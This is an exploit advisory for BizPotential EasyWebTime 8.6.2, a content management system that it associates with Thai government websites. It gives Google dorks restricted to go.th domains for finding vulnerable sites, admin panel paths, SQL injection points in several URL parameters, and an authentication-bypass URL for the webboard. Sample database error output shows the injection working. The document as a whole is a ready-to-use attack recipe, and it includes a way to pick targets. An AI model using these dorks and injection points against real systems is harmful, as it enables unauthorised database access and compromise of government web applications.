BizPotential EasyWebTime 8.6.2 Bypass / SQL Injection

`#############################################################  
  
# Exploit Title : BizPotential EasyWebTime 8.6.2 SQL Injection / Bypass  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 14/02/2019  
# Vendor Homepage : bizpotential.com ~ ewtadmin.com  
# Software Information Link : bizpotential.com/overview.php  
# Software Affected Version : 8.6.2 and all previous versions.  
# Software Price : 100$  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# CWE : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
CWE-592 - Authentication Bypass Issues  
# CXSecurity Reference Link : cxsecurity.com/ascii/WLB-2018090088  
  
#############################################################  
  
BizPotential EasyWebTime 8.6.2 Thailand Government SQL Injection Vulnerability  
  
#############################################################  
  
# Google Dorks :   
*****************  
  
inurl:''/ewtadmin/'' site:go.th  
  
inurl:''/main.php?filename='' site:go.th  
  
inurl:''/ewtadmin/ewt/ccs/''  
  
intext:''(c) Copyright 2007 - BizPotential.com - All Rights Reserved.''  
  
intext:''Copyright 2007 - BizPotential Co., Ltd. - All Rights Reserved''  
  
#############################################################  
  
# Admin Control Panel Paths :  
***************************  
  
/ewtadmin/index.php  
/ewtadmin82/  
/ewtcommittee/index2331.php  
/ewtadmin/ewt/DOMAINNAMEHERE_intranet/ewt_login.php  
  
#############################################################  
  
# SQL Injection Exploit :   
***********************  
  
/n_more3.php?page=[ID-NUMBER]&c_id=[SQL Injection]  
  
/ewtadmin/ewt/[DOMAINNAME_web/n_more.php?c_id=[SQL Injection]  
  
/more_news.php?offset=[SQL Injection]  
  
/more_news.php?offset=-[ID-NUMBER]&cid=&startoffset=[SQL Injection]  
  
#############################################################  
  
# Webboard Exploit Bypass :   
**************************  
  
/ewtadmin/ewt/ccs/addquestion.php?wcad=5&t=1&filename=webboard  
  
# Webboard Directory Path :   
**************************  
  
/ewtadmin/ewt/ccs/index_question.php?wcad=5&t=1&filename=webboard  
  
/index_question.php?wcad=5&t=1&filename=webboard  
  
ccs.DOMAINNAME.go.th/index_question.php?wcad=5&t=1&filename=webboard  
  
#############################################################  
  
# Example SQL Database Errors =>   
********************************  
SELECT * FROM article_list WHERE c_id = '199'' and n_approve = 'Y'   
ORDER BY n_date DESC LIMIT -20,20  
You have an error in your SQL syntax; check the manual that corresponds to your   
MySQL server version for the right syntax to use near '-20,20' at line 1  
  
SELECT * FROM article_list WHERE ( c_id = '' ) AND n_approve =  
'Y' AND (('2561-09-10 05:57:13' between n_date_start and n_date_end)   
or (n_date_start = '' and n_date_end = '')) ORDER BY n_date   
DESC,n_timestamp DESC LIMIT 60\\\',20  
You have an error in your SQL syntax; check the manual that corresponds   
to your MySQL server version for the right syntax to use near '\\\',20' at line 1  
  
#############################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
#############################################################  
`